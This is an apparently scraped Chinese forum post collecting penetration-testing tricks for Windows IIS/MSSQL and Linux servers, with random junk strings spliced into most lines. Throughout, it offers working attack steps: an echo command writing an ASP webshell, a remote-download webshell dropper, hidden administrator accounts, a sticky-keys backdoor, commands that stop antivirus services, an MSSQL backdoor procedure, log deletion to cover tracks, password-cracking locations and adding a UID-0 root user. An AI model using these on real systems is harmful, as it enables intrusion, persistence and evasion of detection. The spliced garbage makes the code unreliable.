渗透技巧总结

admin

旁站路径问题
# P! n/ i, c4 z( A. h- f$ ^  A2 s1、读网站配置。
4 C, L1 k6 H7 N/ e0 f5 i2、用以下VBS
* O! V' `2 z3 r; t$ b% d4 o3 I& uOn Error Resume Next
1 F2 H. @, i/ m: l2 V" N, |- {If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        
, M5 d( \" A8 F" I' N6 t
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
  W5 ?: ^- w( g9 U& w3 C
- G0 U+ x; E: t# y4 q6 iUsage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
8 i4 x: T$ E% V2 ]End If
Set ObjService=GetObject
7 o7 D  t! q% K5 r
- z0 m0 e( E/ S4 h( z: W("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
        If IsNumeric(obj3w.Name)

2 N# O& V% E3 C( {" ~Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
" G3 k/ C5 C; K# E6 o         

       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err
" v# q; E9 X" Q( Z- x0 H( j
<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        
1 E0 @2 v- J. w: @  p
WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
      

0 R1 W: \( c3 e6 D6 w! G         WScript.Echo "ath            : " & VDirObj.Path
5 j5 `6 t+ q* W        End If
" m) x4 e5 N' ^4 iNext
1 x& q# [! n0 U! X' p  B& C! j复制代码
+ q- t! M, e7 [3 @' |2 Q" `# }3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
, _3 H  @" p7 g  f) u4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
$ W: X4 `. p4 s# \4 Z—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
7 x0 @$ Q  G2 E$ Q  j4 ?' Vurl/wp-content/plugins/akismet/hello.php
+ m3 u# r. e3 \+ V' ~. t——————————————————————
' A" P& L$ f* r9 LphpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
6 z* }0 O* |7 L+ m9 G4 Pphpmyadmin/themes/darkblue_orange/layout.inc.php
( f1 p( x4 N7 @4 X————————————————————
网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
" S' v+ Z3 K+ ~8 B5 _7 W3 s————————————————————
! J* T3 K1 |6 ?6 h4 ^, `# B9 |6 n! {CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
, Z, K  o. X7 F; p% ]netsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
) k6 S- @' f3 Hnetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
. h# B# e/ {7 {+ S6 p1 q& u. ?$ ]4 ^$ o2 p————————————————————
  y$ g# B7 S' p- n* I8 A命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
1 l( ?( y& l- R0 qexec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
" @; `0 Y+ r$ _" \5 q) z  x然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
. g$ a+ C. L' R6 {  s3 [3 s
另类的加用户方法
4 }6 ]2 N' V; F, F在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
! _3 \9 V5 O' ^# v: O- \var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;
7 y& e7 K' j" V4 ?# m" O* @
vbs:
+ ~- G2 M, S1 zSet   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
: u. X# f2 w1 A' j4 Y- Q——————————————————
1 Z, R  C! e- ~( Dcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

; |, u- b, i+ x命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
8 h2 v. {9 z6 x8 a$ j# u( Q# kcacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
) y6 l8 D# ^% e7 b1 f3389相关
6 y8 |  v& K! L9 v2 ea、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
& Q( b/ d3 S1 R* n- A, h* Y2 kb、内网环境（LCX）
c、终端服务器超出了最大允许连接
1 P) S4 o: O* E1 jXP 运行mstsc /admin
2003 运行mstsc /console   
2 D& }: h4 E% @* ^4 e6 V
6 D- D% S' U4 ?; C杀软关闭（把杀软所在的文件的所有权限去掉）
5 E1 f& W7 a, |: p  z* W( x9 y) [7 A处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
7 B/ Y2 V2 D: C9 C& D" R) K; Q9 G+ Hnet stop "Symantec AntiVirus Definition Watcher" /y
9 O+ e* Y# K, |! Y4 Q; knet stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
8 ?+ Q8 u( V: I; C% P& Knet stop "Symantec Settings Manager" /y

卖咖啡：net stop "McAfee McShield"
6 k, o. p! b! t" D3 s5 Z————————————————————
7 S5 ^& A: k0 F% q# R1 M
5次SHIFT：
  B! }  }; a" \copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
/ q0 u' _2 i3 G& [0 P! I1 S* lcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
: N9 P# J3 n. e" Ycopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
; u( M6 w* c* `0 E隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
MSSQL扩展后门：
USE master;
: ?0 F* ~6 ]% uEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
$ p  S7 H/ R8 x7 _GRANT exec On xp_helpsystem TO public;
( n3 S0 b0 x) K1 P+ G———————————————————————
日志处理
- \/ _4 z8 u* y4 G$ B! P& cC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
) T* g# h" z/ J. {+ J3 I- ~当停止msftpsvc服务后可直接删除ex011124.log

1 i' h# ?9 M# A2 R# f9 U, nMSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
) ?, v! Z: g, a% a  PHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
) Y/ N3 w1 q8 P% N+ G
* R2 g. G% E2 U& h' Y  lServer\90\Tools\Shell\mru.dat
+ k9 j; E+ H  Z3 k—————————————————————————
2 x* `0 X* |! o. H防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
; K. r7 n# A( L; Q
/ }) i4 t; |$ L, O* N<%
; c2 L& O2 {# G) u& ~6 KSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
$ r$ ]' U0 J( f+ W4 cOn Error Resume Next
' U+ n8 h; [) u+ K) g2 ]* VSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
* @" j1 w, F( z* \( iWith Retrieval
0 z. {, Z+ s, c3 G, V  Y.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
- l2 ~. G! L( |2 H3 [GetRemoteData = .ResponseBody
5 M; ~4 Z2 P! U- NEnd With
Set Retrieval = Nothing
3 }4 p1 [! f* u1 a- [/ m# uSet Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
. W- K/ _( o# h4 d/ U.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
- B0 X7 M" X* B8 q' M3 {.Close()
End With
Set Ads=nothing
  x5 q7 ]# p( R9 R3 DEnd Sub
; M/ H% E0 U! l0 b% }; o
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
" ]8 J3 V! q* U% L2 d%>

VNC提权方法:
7 ~8 ]3 S4 S+ p2 B( d7 w5 X* w  h利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
( H. u, r  r' B3 ]$ @regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
; S, X( S, B" }& vRadmin 默认端口是4899，
1 I% I2 S/ X' m3 L2 `0 x9 kHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
& w2 H$ q- e( L; c, x4 A$ t0 eHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
5 d6 d6 K/ L( Q7 I然后用HASH版连接。
5 E3 g) S0 j# I6 O% c# |7 S如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
# H0 U3 V) B4 F- M保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
) X3 L# N' W$ u6 b" V4 p- wUsers\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
2 y. q: N! `! _! v! [$ v/ j% I2 q8 `WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
8 e" ~" G5 i, g来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。

1433 SA点构建注入点。
<%
strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
& z+ ]$ q/ ^( x9 nstrSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
4 V, @5 N9 P5 o# \strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
" G- O- r# |' G
( |, ?) ^* T, I& x) ostrSQLDBName & ";"
conn.open strCon
7 C/ ~. n. M! k1 `9 _3 rdim rs,strSQL,id
8 W' u' C) x9 l* w/ i# z4 }1 z6 l* ?  sset rs=server.createobject("ADODB.recordset")
id = request("id")
4 u- }& R$ ?8 Z' ~7 u; \strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
%>
1 y4 ]' ~3 d* B+ w) X$ d" C复制代码
******liunx 相关******
9 b' C8 ~4 p2 ?- O一.ldap渗透技巧
1.cat /etc/nsswitch
/ g6 O0 i/ u7 _- I' d4 i看看密码登录策略我们可以看到使用了file ldap模式

4 i2 F) b: d2 r4 J! i; t/ ?2.less /etc/ldap.conf
! }. ?1 M! n# F. wbase ou=People,dc=unix-center,dc=net
! N! e9 N/ C1 [& ~( ]找到ou,dc,dc设置

  |$ ]! k$ g4 S" a: |5 O1 H3.查找管理员信息
* H8 e) r' a( s- J, G1 S4 O0 g匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
8 q4 z& P4 {% K/ a( g) n
. t: d+ J+ n" L: y$ D0 X& R$ ^* C"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
5 `! Y8 q" Q# ^, a4 s) Y# y有密码形式
$ w8 n) ~7 _; M' xldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

( b3 h  D; C6 O! f* `; c"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
: e: q0 o. N# s. n1 u4 n

4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
+ l2 _  x: w8 r: E. ]
实战:
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
( q: j2 c! U% L1 ^. t( x
9 n) O) H( q0 x& r& e: Q2.less /etc/ldap.conf
( ^- z) `" ~" I9 C$ L" h; K# ?$ Pbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
+ ~2 g$ ]9 N7 s
6 o9 r3 U% J' w- P3.查找管理员信息
匿名方式
$ D: U$ n3 T8 r- S0 q1 ~9 Qldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
5 v  }) X6 {, v+ m0 @. c有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


& j% `( Y& S! N$ j" d5 v4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
% T) p! G8 f* m( G  bobjectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
* O3 [% E& f: E/ r" j" |uid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
/ ^4 w! w1 r7 y0 H0 Q# k% ~objectClass: person
" M& X: Y1 U1 \% R/ m3 DobjectClass: top
! N0 C% I! W) R7 m- f7 y. Wsn: manager
cn: manager

) ~1 y9 q# a3 Z$ `dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
3 I6 L9 i$ h$ e4 K$ iuid: superadmin
% Z& A: O- m  u) o# w! B7 [2 ~1 UobjectClass: inetOrgPerson
1 M! `4 o! ]  Y5 X2 ~& ~" nobjectClass: organizationalPerson
0 E0 s0 k  I+ r) z/ `- WobjectClass: person
objectClass: top
8 E# v  o5 m$ S% I0 C* bsn: superadmin
: X) L$ `( ?6 |/ S9 \0 scn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn
% `- R6 W+ i& V+ Huid: admin
7 v  W, ]# q2 ~1 xobjectClass: inetOrgPerson
* Y8 W! L: N% i; X+ P  x+ @8 W8 cobjectClass: organizationalPerson
objectClass: person
objectClass: top
sn: admin
cn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
6 u+ ]! I) i7 J) oobjectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
sn: dcp_anonymous
$ _' _3 ]* R6 ?0 h& j! \cn: dcp_anonymous
. m9 h7 [0 D( ^: T1 Z
2.查看基类
7 _5 u- d7 {. B) L3 m/ nbash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

. X+ M. g4 ?. q# d7 nmore
+ G. Q" A0 o. u3 Mversion: 1
, K7 o$ k" z: Q) idn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

$ h, f7 M* x: a  k! M( W3.查找
, C8 E& R' ]; t, \8 Xbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
! q. U' P* J4 q! B, |6 Hversion: 1
dn:
; f  M7 j* T. P) B% G8 g" DobjectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
2 q2 g. m& h2 H' M) P( }) msupportedExtension: 2.16.840.1.113730.3.5.8
3 a$ C1 m7 {2 I2 P  g) t) CsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
* N3 C/ t; T2 J; ~9 G0 n& D. vsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
% _" L5 Z! c1 l' t1 QsupportedExtension: 2.16.840.1.113730.3.5.5
7 Y+ u- b* D3 v9 U( M6 MsupportedExtension: 2.16.840.1.113730.3.5.6
  k7 Q) p1 p( ^% _supportedExtension: 2.16.840.1.113730.3.5.4
; [' m, O; L2 V7 k2 ]supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
1 |5 N  u2 E# ~; J- asupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
9 Q4 W; I. c7 d7 z6 x( WsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
, D5 j5 b7 \. s2 ?* l" ]supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
0 a5 f+ r# ?: G' K3 V6 |supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
, P) Y0 T$ Z3 e0 S0 @supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
: i. }, p9 r2 j2 C) @. }2 v- esupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
! M' t( \. E' B: UsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
9 @7 s! v3 y# i2 x5 l" T1 hsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
1 b+ n3 {6 L. {0 K6 ]supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
9 f9 U! t: {$ ?( }6 e5 h& ?# |! {supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
! r. u/ [2 S, l! ssupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
2 |0 S, ^, p: ]supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
9 C  v& C8 _# J7 D3 z' j( RsupportedControl: 2.16.840.1.113730.3.4.17
" E; d" X' c, @3 C1 ~6 f, BsupportedControl: 2.16.840.1.113730.3.4.19
3 h7 w$ D- t; ]5 j/ BsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
, ~* L1 R; P% Y& ^5 h5 `6 t4 YsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
8 G0 O  J3 ]. p' ~/ K9 n5 K3 H6 H7 @supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
" z: j1 @( R6 Y! UsupportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
$ y4 v( M+ h/ ~* e1 J0 esupportedControl: 2.16.840.1.113730.3.4.12
8 U# Q, Z# u& P3 @/ m3 P$ osupportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
7 t! |- A2 B- W$ DsupportedSASLMechanisms: DIGEST-MD5
" z! u" E* ^' ^* U9 g/ P& PsupportedLDAPVersion: 2
supportedLDAPVersion: 3
5 C  |. R# y+ p% I# h* J' RvendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
8 U9 @( k3 Z! Y/ u! _dataversion: 020090516011411
& X: g7 S5 L8 b$ A7 Vnetscapemdsuffix: cn=ldap://dc=webA:389
& f$ ]$ l' l+ e+ T7 g) OsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
- M( D$ ^( D( s# s& L9 n8 QsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
0 V. n2 P3 }; G# T% `0 [supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
) j! _9 _/ c! c6 \( }supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
" {* D" D8 K/ Q# I) x( usupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
8 R; P4 w: B/ W$ e1 J3 K$ Y. MsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
; F* m; D+ F0 l7 @% r7 a- X' D3 `; u; GsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
% b3 I# M5 c# P! x3 YsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
3 e1 r# @. S6 _. C4 }supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
8 u" r- C3 `$ @  q2 B; f0 Y* wsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
" i5 R5 \7 W  B7 c! XsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
3 F1 I$ j0 m% n1 q" jsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
4 D; k2 h# k) U9 E9 ^supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
% ?$ O6 n3 s! q3 V9 [+ b; PsupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
8 ]+ D4 l% I" h: WsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
! {, y# A. G& z' ~$ [5 w/ x! IsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
7 Y9 W* m# d* h4 b. b7 c9 |supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
9 d% d" X( F, C1 F4 msupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
4 P( y9 B! y  Q" n$ B' vsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
" h! S7 n" m* |( W0 P3 s6 wsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
2. NFS渗透技巧
showmount -e ip
8 F6 o* e2 }8 K  O% @# P列举IP
——————
5 N% p6 `$ T- }! d7 t3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
img_finance
' \$ q6 H  u3 d2 s- w6 Wauto
img_auto
html_cms
* R6 U# ^- O, Vimg_cms
ent_cms
ent_img
ceshi
* T  W: a& l) G1 qres_img
res_img_c2
2 l( f* I. [" Bchip
3 }* b. v0 U1 `  bchip_c2
ent_icms
# M( K8 O; b$ C0 w% n# m9 V0 Xgames
gamesimg
- C: n/ U8 h6 J+ Lmedia
6 G) O9 O& H) s6 Cmediaimg
fashion
res-fashion
, r3 E$ t4 J- a1 ?# ures-fo
0 n; v; ~3 Q, B, V4 dtaobao-home
res-taobao-home
house
6 O1 G& s. s+ v2 `! l5 B- Sres-house
res-home
- ?# [# J4 w1 F) |* u9 Ires-edu
res-ent
. E3 ]# ~( ?; Cres-labs
res-news
2 N. e( z. x" g8 D$ }/ |7 x: w* i( z0 Gres-phtv
6 {) L6 ]! J1 M% F* M# @* Mres-media
home
- a/ A. ^* H; s0 \' ^edu
, ^- |) y+ `" F$ Gnews
res-book
: G* y5 Z* ?+ ]9 M0 ]# p
4 X. [) p' n* c看相应的下级目录(注意一定要在目录后面添加上/)
5 @; _& K3 b4 l4 M$ a# H7 I9 u2 L2 r$ P
& @4 P" L4 f4 {/ |5 r+ ?: s8 F) r( o
9 q& T: a  i5 |0 i5 Z. i- w% grsync 210.51.X.X::htdocs_app/
  t6 A, c2 m7 a* d3 Brsync 210.51.X.X::auto/
# V7 \1 c# O9 P1 }1 t8 D2 Crsync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
3 U/ m* J4 g0 t2 Z$ n
3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
- l/ H( Y: y" a. d9 v, o. y( dhttp://app.finance.xxx.com/warn/nothack.txt
8 j- G2 g8 b( J* T
' |4 u: q9 _3 \四.squid渗透技巧
* V3 m/ q$ c+ qnc -vv baidu.com 80
1 J/ H6 z2 I2 EGET HTTP://www.sina.com / HTTP/1.0
! k9 _% S. P* y; ]GET HTTP://WWW.sina.com:22 / HTTP/1.0
& M' ]7 M$ e( A4 [7 s: W五.SSH端口转发
. W; U- v# z* f- N+ z* d0 ~" Bssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

" g' q2 z+ D3 C' h* O# ]六.joomla渗透小技巧
确定版本
( N9 F0 q% V$ Z$ A9 H# R  Aindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

7 J+ `9 n. e1 ]/ |0 Y/ c15&catid=32:languages&Itemid=47

重新设置密码
index.php?option=com_user&view=reset&layout=confirm
& Z$ C7 d3 K7 P0 E. g
七: Linux添加UID为0的root用户
0 A1 \5 t, D# A9 i. N) z3 W# ~useradd -o -u 0 nothack
  H: |2 G  j7 {/ M5 _% p
八.freebsd本地提权
7 t. X! Q9 ~' }[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
! ~+ P0 Y. o  y& a* M. z! Y& B* [argp@julius ~]$ sysctl vfs.usermount
& b  v5 y3 @  e$ l# [$ d* vfs.usermount: 1
* [argp@julius ~]$ id
/ k+ y. ^, [7 K* g* uid=1001(argp) gid=1001(argp) groups=1001(argp)
% Z5 b, D2 O2 C) L- B0 p. B+ u* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
*
( W& n/ W- w, {6 n. Y: B' tcalling nmount()

, O2 U9 p/ X. e, F2 n6 O. `1 ?5 ~( B（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
